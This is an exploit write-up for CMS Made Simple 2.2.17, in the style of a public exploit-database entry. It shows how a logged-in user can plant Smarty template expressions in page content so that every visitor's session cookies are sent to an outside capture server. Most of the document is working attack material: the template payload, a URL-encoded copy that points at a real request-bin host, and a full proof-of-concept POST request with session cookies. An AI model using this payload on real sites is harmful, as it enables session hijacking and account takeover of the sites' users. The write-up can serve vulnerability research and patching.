CMS Made Simple 2.2.17 Server-Side Template Injection

`#Exploit Title: CmsMadeSimple v2.2.17 - session hijacking via Server-Side Template Injection (SSTI)  
#Application: CmsMadeSimple  
#Version: v2.2.17  
#Bugs: SSTI  
#Technology: PHP  
#Vendor URL: https://www.cmsmadesimple.org/  
#Software Link: https://www.cmsmadesimple.org/downloads/cmsms  
#Date of found: 13-07-2023  
#Author: Mirabbas Ağalarov  
#Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
Steps:  
  
1. Login to test user account  
2. Go to Content Manager  
3. Add New Content  
4. set as   
'''  
{$smarty.version}   
{{7*7}}   
{$smarty.now}  
{$smarty.template}  
<img src=YOU-SERVER/{$smarty.cookies.CMSSESSID852a6e69ca02}>  
<img src=YOU-SERVER/{$smarty.cookies.34a3083b62a225efa0bc6b5b43335d226264c2c1}>  
<img src=YOU_SERVER/{$smarty.cookies.__c}>  
'''  
to conten_en section.  
  
5.If any user visit to page, Hacker hijack all cookie   
  
payload: %3Cp%3E%7B%24smarty.version%7D+%7B%7B7*7%7D%7D+%7B%24smarty.now%7D+%7B%24smarty.template%7D+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.CMSSESSID852a6e69ca02%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.34a3083b62a225efa0bc6b5b43335d226264c2c1%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.__c%7D%22+%2F%3E%3C%2Fp%3E  
  
POC Request   
  
POST /admin/moduleinterface.php?mact=CMSContentManager,m1_,admin_editcontent,0&;__c=1c2c31a1c1bff4819cd&;m1_content_id=81&showtemplate=false HTTP/1.1  
Host: localhost  
Content-Length: 988  
sec-ch-ua:   
Accept: application/json, text/javascript, */*; q=0.01  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36  
sec-ch-ua-platform: ""  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: CMSSESSID852a6e69ca02=bq83g023otkn4s745acdnvbnu4; 34a3083b62a225efa0bc6b5b43335d226264c2c1=1e91865ac5c59e34f8dc1ddb6fd168a61246751d%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiYWRtaW4iLCJlZmZfdWlkIjoyLCJlZmZfdXNlcm5hbWUiOiJ0ZXN0IiwiaGFzaCI6IiQyeSQxMCRDQlwvWEIyNEpsWmhJNjhKQ29LcWplZXgyOUVXRDRGN2E1MTNIdUo2c3VXMUd1V3NKRTBNcEMifQ%3D%3D; __c=1c2c31a1c1bff4819cd  
Connection: close  
  
mact=CMSContentManager%2Cm1_%2Cadmin_editcontent%2C0&__c=1c2c31a1c1bff4819cd&m1_content_id=81&m1_active_tab=&m1_content_type=content&title=test&content_en=%3Cp%3E%7B%24smarty.version%7D+%7B%7B7*7%7D%7D+%7B%24smarty.now%7D+%7B%24smarty.template%7D+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.CMSSESSID852a6e69ca02%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.34a3083b62a225efa0bc6b5b43335d226264c2c1%7D%22+%2F%3E+%3Cimg+src%3D%22https%3A%2F%2Fen3uw3qy2e0zs.x.pipedream.net%2F%7B%24smarty.cookies.__c%7D%22+%2F%3E%3C%2Fp%3E&menutext=test&parent_id=-1&showinmenu=0&showinmenu=1&titleattribute=&accesskey=&tabindex=&target=---&metadata=&pagedata=&design_id=2&template_id=10&alias=test&active=0&active=1&secure=0&cachable=0&cachable=1&image=&thumbnail=&extra1=&extra2=&extra3=&wantschildren=0&wantschildren=1&searchable=0&searchable=1&disable_wysiwyg=0&ownerid=1&additional_editors=&m1_ajax=1&m1_apply=1  
  
Poc Video: https://youtu.be/zq3u3jRpfqM  
  
  
`